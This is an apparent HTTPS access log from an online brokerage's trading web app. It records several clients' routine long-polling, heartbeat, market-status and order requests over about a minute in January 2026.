[09/Jan/2026:14:22:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940005661 HTTP/1.1" -
[09/Jan/2026:14:22:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940007700 HTTP/1.1" -
[09/Jan/2026:14:22:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:22:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 302
[09/Jan/2026:14:22:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940017563 HTTP/1.1" -
[09/Jan/2026:14:22:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940027186 HTTP/1.1" -
[09/Jan/2026:14:22:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940010728 HTTP/1.1" -
[09/Jan/2026:14:22:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940012863 HTTP/1.1" -
[09/Jan/2026:14:22:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:22:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:22:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940022597 HTTP/1.1" -
[09/Jan/2026:14:22:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940015784 HTTP/1.1" -
[09/Jan/2026:14:22:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940033184 HTTP/1.1" -
[09/Jan/2026:14:22:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940018007 HTTP/1.1" -
[09/Jan/2026:14:22:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940027727 HTTP/1.1" -
[09/Jan/2026:14:22:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940020819 HTTP/1.1" -
[09/Jan/2026:14:22:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:14:22:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:22:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1201
[09/Jan/2026:14:22:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940023134 HTTP/1.1" -
[09/Jan/2026:14:22:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940039188 HTTP/1.1" -
[09/Jan/2026:14:22:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940032800 HTTP/1.1" -
[09/Jan/2026:14:22:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:22:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:22:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940025872 HTTP/1.1" -
[09/Jan/2026:14:22:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:22:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:22:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:14:22:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940028290 HTTP/1.1" -
[09/Jan/2026:14:22:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:22:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940045191 HTTP/1.1" -
[09/Jan/2026:14:22:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940037825 HTTP/1.1" -
[09/Jan/2026:14:22:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:22:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1211
[09/Jan/2026:14:22:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940030922 HTTP/1.1" -
[09/Jan/2026:14:22:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940033349 HTTP/1.1" -
[09/Jan/2026:14:22:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940051187 HTTP/1.1" -
[09/Jan/2026:14:22:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940043619 HTTP/1.1" -
[09/Jan/2026:14:22:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940036006 HTTP/1.1" -
[09/Jan/2026:14:22:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940038483 HTTP/1.1" -
[09/Jan/2026:14:22:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:22:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940057191 HTTP/1.1" -
[09/Jan/2026:14:22:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940048699 HTTP/1.1" -
[09/Jan/2026:14:22:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940041084 HTTP/1.1" -
[09/Jan/2026:14:22:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940043621 HTTP/1.1" -
[09/Jan/2026:14:22:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:22:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:22:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940063193 HTTP/1.1" -
[09/Jan/2026:14:22:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940053906 HTTP/1.1" -
[09/Jan/2026:14:22:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940046149 HTTP/1.1" -
[09/Jan/2026:14:22:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940048770 HTTP/1.1" -
[09/Jan/2026:14:23:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:14:23:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 11
[09/Jan/2026:14:23:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940051183 HTTP/1.1" -
[09/Jan/2026:14:23:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940069192 HTTP/1.1" -
[09/Jan/2026:14:23:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940059979 HTTP/1.1" -
[09/Jan/2026:14:23:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:23:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1212
[09/Jan/2026:14:23:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940053904 HTTP/1.1" -
[09/Jan/2026:14:23:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:14:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1019
[09/Jan/2026:14:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:14:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:23:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:23:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:23:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1812
[09/Jan/2026:14:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940056248 HTTP/1.1" -
[09/Jan/2026:14:23:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940059047 HTTP/1.1" -
[09/Jan/2026:14:23:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940075197 HTTP/1.1" -
[09/Jan/2026:14:23:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940066017 HTTP/1.1" -
[09/Jan/2026:14:23:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:23:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:23:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940061312 HTTP/1.1" -
[09/Jan/2026:14:23:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940064101 HTTP/1.1" -
[09/Jan/2026:14:23:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940071117 HTTP/1.1" -
[09/Jan/2026:14:23:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940081185 HTTP/1.1" -
[09/Jan/2026:14:23:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940066517 HTTP/1.1" -
